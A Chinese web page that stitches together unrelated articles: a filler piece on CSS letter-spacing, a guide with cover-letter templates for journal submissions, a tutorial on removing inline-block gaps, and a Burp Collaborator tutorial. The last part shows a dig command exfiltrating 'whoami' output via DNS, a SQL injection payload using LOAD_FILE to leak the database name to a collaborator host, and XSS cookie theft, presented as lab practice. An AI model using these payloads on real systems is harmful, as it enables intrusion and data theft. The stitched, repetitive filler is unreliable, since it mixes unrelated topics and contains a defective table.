letter-spacing(letter-spacing可以继承吗)

大家好,今天小编来为大家解答以下的问题,关于letter-spacing,letter-spacing可以继承吗这个很多人还不知道,现在让我们一起来看看吧!

在排版和设计中,字体和字号是基本元素,但你知道吗?letter-spacing(字母间距)这个看似不起眼的参数,却能对整体视觉效果产生巨大的影响。今天,我们就来聊聊这个神秘的小怪兽——letter-spacing,看看它是如何改变我们阅读体验的。

一、认识letter-spacing

我们先来了解一下什么是letter-spacing。简单来说,letter-spacing指的是字符之间的间距大小,它可以增加或减少字符间的距离。在CSS中,letter-spacing属性有四个值:`normal`(正常间距)、`数值`(如`2px`)、`百分比`(如`10%`)和` inherit`(继承父元素)。

二、letter-spacing的影响

1. 视觉效果

* 增大间距:在视觉上,增大字母间距可以让文本更加清晰易读,尤其是在小字号或密集的排版中。

* 减小间距:减小字母间距可以增加文本的紧凑感,让整体视觉效果更加统一。

2. 阅读体验

* 增大间距:增大字母间距可以减少阅读疲劳,提高阅读速度。

* 减小间距:减小字母间距可以提高阅读效率,但可能会导致阅读疲劳。

3. 排版美感

* 增大间距:增大字母间距可以使文本更加透气,增加排版的美感。

* 减小间距:减小字母间距可以增强视觉冲击力,营造独特的排版效果。

三、letter-spacing的应用场景

下面,我们通过表格的形式,列举一些letter-spacing的应用场景及其优缺点:

应用场景 优点 缺点
提高阅读体验,增强易读性 可能影响整体排版美观
标题和副标题 增强视觉冲击力,突出重点 可能影响整体排版美观
代码和表格 提高代码和表格的可读性 可能影响整体排版美观
书法作品 增强书法作品的艺术感 可能影响整体排版美观
网页和APP界面 提高界面的美观性和易用性 可能影响整体排版美观
品牌LOGO 增强品牌LOGO的辨识度和美观性 可能影响整体排版美观

四、letter-spacing的使用技巧

* 根据实际情况选择合适的间距值:不同的应用场景需要不同的间距值,需要根据具体情况进行调整。

* 注意字体和字号:不同的字体和字号对letter-spacing的影响也不同,需要根据字体和字号的特点进行选择。

* 与行间距、段落间距等其他参数相结合:letter-spacing与其他参数的结合,可以营造出更加丰富的视觉效果。

* 参考优秀案例:多参考一些优秀的设计案例,了解设计师是如何运用letter-spacing的。

五、总结

通过本文的介绍,相信大家对letter-spacing有了更深入的了解。它虽然是一个看似不起眼的参数,但却能对整体视觉效果产生巨大的影响。在今后的设计工作中,希望大家能够巧妙地运用letter-spacing,打造出更加美观、易读的设计作品。

记住,字母间距,虽小却神奇

别再让投稿信耽误你发稿啦!(附cover letter模板)

一般向SCI投稿论文时都会写一份Cover letter,即投稿信。它是为了帮助编辑快速了解文章内容和找到合适的审稿人,一篇内容恰当的cover letter会给你的工作锦上添花,掷出投稿第一块敲门砖。

但 Cell Press的editor觉得不少人都不知道为什么要写Cover letter,错误地在这部分重复摘要中的内容,这无疑是极大的浪费。因此就有了下面的指导,跟着 Cell学,离投 Cell就不远了。

我稍微整理了一下格式,并将重点加以标记。后面提供了三份模板,有一份有详细的注释。

Cover letters are provided for editors only, which means that, unlike the title and abstract that will be visible to, let’s hope, billions of people once the paper is published, the cover letter is going to be seen and read by a very tinygroup of people.

Nevertheless, these are the people who have the responsibility to decide whether a manuscript is suitable for consideration in the journal it was submitted to.So, convincing the editors that your paper makes a valuable contribution to the knowledge in the field is important, and that’s why you need to put your cover letter to work.

The cover letter is your first“formal”interaction with a journal, and it embodies a request, so to speak, to consider your article for publication. But it also provides you with an excellent opportunity to present the significance of your scientific contribution.

Some Tips from Catarina, the Editor of Trends in Molecular Medicine.

Two aspects you need to understand clearly.

1). Let’s start with content.

You shouldsuccinctlyexplain what waspreviously knownand then stateyour motivationfor wishing to publish.

Such as:

2). Get to the point.

Succinctly explain the topic of discussion, andquicklyconvey the key conclusions. Generally, one pagesuffices and is preferred.

3). Do not rehash the abstract of the paper.

Copying and pasting the abstract into your cover letter verbatim is a big no-no. Instead,you need to venturebeyondthe summary: write a sentence that takes you further than the obvious conclusions.

Such as:

4). Get excited!

Your excitement about the scientific contributions can undoubtedly inspire the editor who’s reading the cover letter. Overall, the sentiment of“ you’re gonna love reading this paper!“ should seep through—make that happen!

5). Including a wish list of reviewers.

Relevant information on potential reviewers(including their field of expertise) can be included and is definitely a plus, as it can be quite helpful to the editor.

Don’tprovide a long list of excluded reviewers(three maximum), and most certainly do not suggestexcluding authors from entire continents on the map! Also, save the editor some time by specifying which author should be the lead contact, and indicate their affiliation.

当然这一部分有的会直接在投稿系统中填写,就不需要占用Cover letter的空间了。

6). Keep it simple and humble.

In terms of style, considersincerityandsimplicity. Statements indicating that the article or related findings have been presented at X number of conferences and are“tremendously” well received by the scientific community—or otherwise— do notadd much to the cover letter. They might instead suggest right off the bat that a lot of cooing and convincing of the journal editor will be required. So let the“science” speak for itself. Also, a statement declaring that the article is original and isn’t being considered elsewhere can only add to your cause!

7). Proofread your letterby checking the spelling, grammar, and syntax.

8). Check every detail.

Avoid mistakes such as directing the cover letter to the editor(s) of a different journal, or to a different journal altogether.

A poorexample:

<pre style=”overflow-wrap: break-word!important; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;-webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial; margin: 0em 1em; padding: 0px; max-width: 100%; caret-color: rgb(51, 51, 51); color: rgb(51, 51, 51); letter-spacing: 0.544px; text-align: justify; text-size-adjust: auto; font-family: Arial, PingFangSC-Light; font-size: 0.8em; line-height: 1.2em; box-sizing: border-box!important;”>Dear Editor-in-Chief,

I am sending you our manuscript entitled“Large Scale Analysis of Cell Cycle Regulators in bladder cancer” by Researcher et al. We would like to have the manuscript considered for publication in Pathobiology.

Please let me know of your decision at your earliest convenience.

With my best regards,

Sincerely yours,

A Researcher, PhD</pre>

<pre style=”overflow-wrap: break-word!important; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;-webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial; margin: 0em 1em; padding: 0px; max-width: 100%; caret-color: rgb(51, 51, 51); color: rgb(51, 51, 51); letter-spacing: 0.544px; text-align: justify; text-size-adjust: auto; font-family: Arial, PingFangSC-Light; font-size: 0.8em; line-height: 1.2em; box-sizing: border-box!important;”>[Replace bracketed text with your own information and writing.

Best of luck! Email us atAskAnExpert@aje.comwith any questions!]

[My Name

University of Research

804 Research Drive

Los Angeles, CA, USA 90210

310-555-1234

m.name@researchu.edu ]

[Dr. John Editorian

Editor-in-Chief

Journal of Science]

Dear [Dr. Editorian]:

I am pleased to submit an original research article entitled [“Neofunctionalization of polymerase rho in Ustilago maydis” by Albert Postdoc and My Name] for consideration for publication in [the Journal of Science].We previously uncovered a role for [polymerase rho in DNA repair in U. maydis(citation)], and this manuscript builds on our prior study to determine the evolution of this unique enzyme.

In this manuscript, we show that [polymerase rho…(list a few important results)].

We believe that this manuscript is appropriate for publication by [the Journal of Science] because it… [specific link to the journal’s aims& scope].[Our manuscript creates a paradigm for future studies of the evolution of essential enzymes in yeast.]

This manuscript has not been published and is not under consideration for publication elsewhere.We have no conflicts of interest to disclose, but we do respectfully request that [Dr. Glen Meanie] not review our manuscript.If you feel that the manuscript is appropriate for your journal, we suggest the following reviewers:

[list reviewers and contact info, if requested by the journal]

Thank you for your consideration!

Sincerely,

[My Name, PhD

Professor, Department of Evolutionary Mycology

University of Research]</pre>

<pre style=”overflow-wrap: break-word!important; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;-webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial; margin: 0em 1em; padding: 0px; max-width: 100%; caret-color: rgb(51, 51, 51); color: rgb(51, 51, 51); letter-spacing: 0.544px; text-align: justify; text-size-adjust: auto; font-family: Arial, PingFangSC-Light; font-size: 0.8em; line-height: 1.2em; box-sizing: border-box!important;”>Sample cover letter

[Your Name]

[Your Affiliation]

[Your Address]

[Date]

Dear [Editor name],

I/We wish to submit an original research article entitled“[title of article]” for consideration by [journal name].

I/We confirm that this work is original and has not been published elsewhere, nor is it currently under consideration for publication elsewhere.

In this paper, I/we report on/ show that _______. This is significant because __________.

We believe that this manuscript is appropriate for publication by [journal name] because it… [specific reference to the journal’s Aims& Scope]. __________.

[Please explain in your own words the significance and novelty of the work, the problem that is being addressed, and why the manuscript belongs in this journal. Do not simply insert your abstract into your cover letter! Briefly describe the research you are reporting in your paper, why it is important, and why you think the readership of the journal would be interested in it.]

We have no conflicts of interest to disclose.

Please address all correspondence concerning this manuscript to me at [email address].

Thank you for your consideration of this manuscript.

Sincerely,

[Your name]</pre>

后台回复 cover letter或点击获取三份模板的word版。

原文链接:

如何消除inline-block元素间间距问题

一、现象描述

真正意义上的inline-block水平呈现的元素间,换行显示或空格分隔的情况下会有间距,很简单的个例子:

<input/><input type=”submit”/>

我们使用CSS更改非inline-block水平元素为inline-block水平,也会有该问题:

.space a{

display: inline-block;

padding:.5em 1em;

background-color:#cad5eb;

}

<div class=”space”>

<a href=”##”>惆怅</a>

<a href=”##”>淡定</a>

<a href=”##”>热血</a>

</div>

这种表现是符合规范的应该有的表现(如果有人认为是bug就太()ay()oy了)。

不过,这类间距有时会对我们布局,或是兼容性处理产生影响,需要去掉它,该怎么办呢?以下展示N种方法(欢迎补充)!

二、方法之移除空格

元素间留白间距出现的原因就是标签段之间的空格,因此,去掉HTML中的空格,自然间距就木有了。考虑到代码可读性,显然连成一行的写法是不可取的,我们可以:

<div class=”space”>

<a href=”##”>

惆怅</a><a href=”##”>

淡定</a><a href=”##”>

热血</a>

</div>

或者是:

<div class=”space”>

<a href=”##”>惆怅</a

><a href=”##”>淡定</a

><a href=”##”>热血</a>

</div>

或者是借助HTML注释:

<div class=”space”>

<a href=”##”>惆怅</a><!–

–><a href=”##”>淡定</a><!–

–><a href=”##”>热血</a>

</div>

三、使用margin负值

.space a{

display: inline-block;

margin-right:-3px;

}

例如,对于12像素大小的上下文,Arial字体的margin负值为-3像素,Tahoma和Verdana就是-4像素,而Geneva为-6像素。

由于外部环境的不确定性,以及最后一个元素多出的父margin值等问题,这个方法不适合大规模使用;

四、让闭合标签吃胶囊

如下处理:

<div class=”space”>

<a href=”##”>惆怅

<a href=”##”>淡定

<a href=”##”>热血</a>

</div>

注意,为了向下兼容IE6/IE7等喝蒙牛长大的浏览器,最后一个列表的标签的结束(闭合)标签不能丢。

在HTML5中,我们直接:

<div class=”space”>

<a href=”##”>惆怅

<a href=”##”>淡定

<a href=”##”>热血

</div>

好吧,虽然感觉上有点怪怪的,但是,这是OK的。

五、使用font-size:0

类似下面的代码:

.space{

font-size: 0;

}

.space a{

font-size: 12px;

}

这个方法,基本上可以解决大部分浏览器下inline-block元素之间的间距(IE7等浏览器有时候会有1像素的间距)。不过有个浏览器,就是Chrome,其默认有最小字体大小限制,因为,考虑到兼容性,我们还需要添加:

类似下面的代码:

.space{

font-size: 0;

-webkit-text-size-adjust:none;

}

补充:根据小杜在评论中中的说法,目前Chrome浏览器已经取消了最小字体限制。因此,上面的-webkit-text-size-adjust:none;代码估计时日不多了。

六、使用letter-spacing

类似下面的代码:

.space{

letter-spacing:-3px;

}

.space a{

letter-spacing: 0;

}

七、使用word-spacing

类似下面代码:

.space{

word-spacing:-6px;

}

.space a{

word-spacing: 0;

}

一个是字符间距(letter-spacing)一个是单词间距(word-spacing),大同小异。据我测试,word-spacing的负值只要大到一定程度,其兼容性上的差异就可以被忽略。因为,貌似,word-spacing即使负值很大,也不会发生重叠。

与上面demo一样的效果,这里就不截图展示了。如果您使用Chrome浏览器,可能看到的是间距依旧存在。确实是有该问题,原因我是不清楚,不过我知道,可以添加display: table;或display:inline-table;让Chrome浏览器也变得乖巧。

.space{

display: inline-table;

word-spacing:-6px;

}

八、其他成品方法

下面展示的是使用letter-spacing和word-spacing去除格栅单元见间隔方法(注意,其针对的是block水平的元素,因此对IE8-浏览器做了hack处理):

.yui3-g{

letter-spacing:-0.31em;/* webkit*/

*letter-spacing: normal;/* IE< 8重置*/

word-spacing:-0.43em;/* IE< 8&& gecko*/

}

.yui3-u{

display: inline-block;

zoom: 1;*display: inline;/* IE< 8:伪造 inline-block*/

letter-spacing: normal;

word-spacing: normal;

vertical-align: top;

}

以下是一个其他提供的方法:

li{

display:inline-block;

background: orange;

padding:10px;

word-spacing:0;

}

ul{

width:100%;

display:table;/*调教webkit*/

word-spacing:-1em;

}

.nav li{*display:inline;}

也就是上面一系列CSS方法的组组合合;

九、结语

其他去除间距的方法肯定还有,欢迎大家通过评论方式进行补充。上文部分方法可能有测试不周全之处,因此,部分细节上可能会有纰漏,欢迎指正。

Burp Collaborator -带外应用检测工具

Burp Collaborator是 OAST的产物,它可以帮你实现对响应不可见和异步的一个漏洞检测。

目前 Burp发布的新版本中默认携带了 Burp Collaborator模块

Burp Collaborator模型参考上文带外攻击模型

Burp Collaborator有自己专用域名 burpcollaborator.net,类似于ceye平台,有一个权威DNS服务器,用户使用Collaborator模块时会给每一个用户会分配一个二级域名。

Burp Collaborator只是一个客户端,我们可以使用 Burp给我们配置的默认带外服务器,也可以使用自己私有的服务器。

Burp Collaborator配置

可以选择使用默认的配置外带服务器,也可以自己设置外带服务器

点击Run health check可以测试外带服务器服务是否正常

打开 Collaborator客户端

使用 Client

使用 dig查询域名

<pre class=”md-fences md-end-block ty-contain-cm modeLoaded” spellcheck=”false” cid=”n53″ mdtype=”fences” style=”box-sizing: border-box; overflow: visible; font-family: var(–monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative!important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;” lang=””>digwhoami.7jr9gk6gtnstix33jp6181eu2l8cw1.burpcollaborator.net</pre>

查看 Client返回的日志

可见,我们通过dig查看DNS记录的方式,将whoami的命令携带发送到服务器。

使用Burp提供的靶场,来介绍 Burp Collaborator的用法

工作原理

Burp Collaborator生成唯一的域名,将它们以有效负载的形式发送到应用程序,并监视与这些域的任何交互。如果观察到来自应用程序的传入请求,那么就可以检测到对应的漏洞。

检测过程

将Burp Collaborator Client的获取的域名添加HTTP请求的 Referer位置等待几秒然后点击poll now会看到应用程序启动的DNS和HTTP交互

我这里使用 sqli的靶场演示一下利用 burp Collaborator实现DNSLog注入

前提条件: secure_file_priv为空,(如果非空,只能读取对应目录下的文件)

select 1,2,LOAD_FILE(concat(‘\\\\’,database(),’~’,’xwxb0b0bnpm5bnjbo19apeivpmvfj4.burpcollaborator.net\\a’))–+

在 xss payload中,添加自己burp collaborator生成的域名

等待管理员查看评论即可触发 xss payload实现对cookie的获取

还有更多用法,期待大家去发现,

END,本文到此结束,如果可以帮助到大家,还望关注本站哦!

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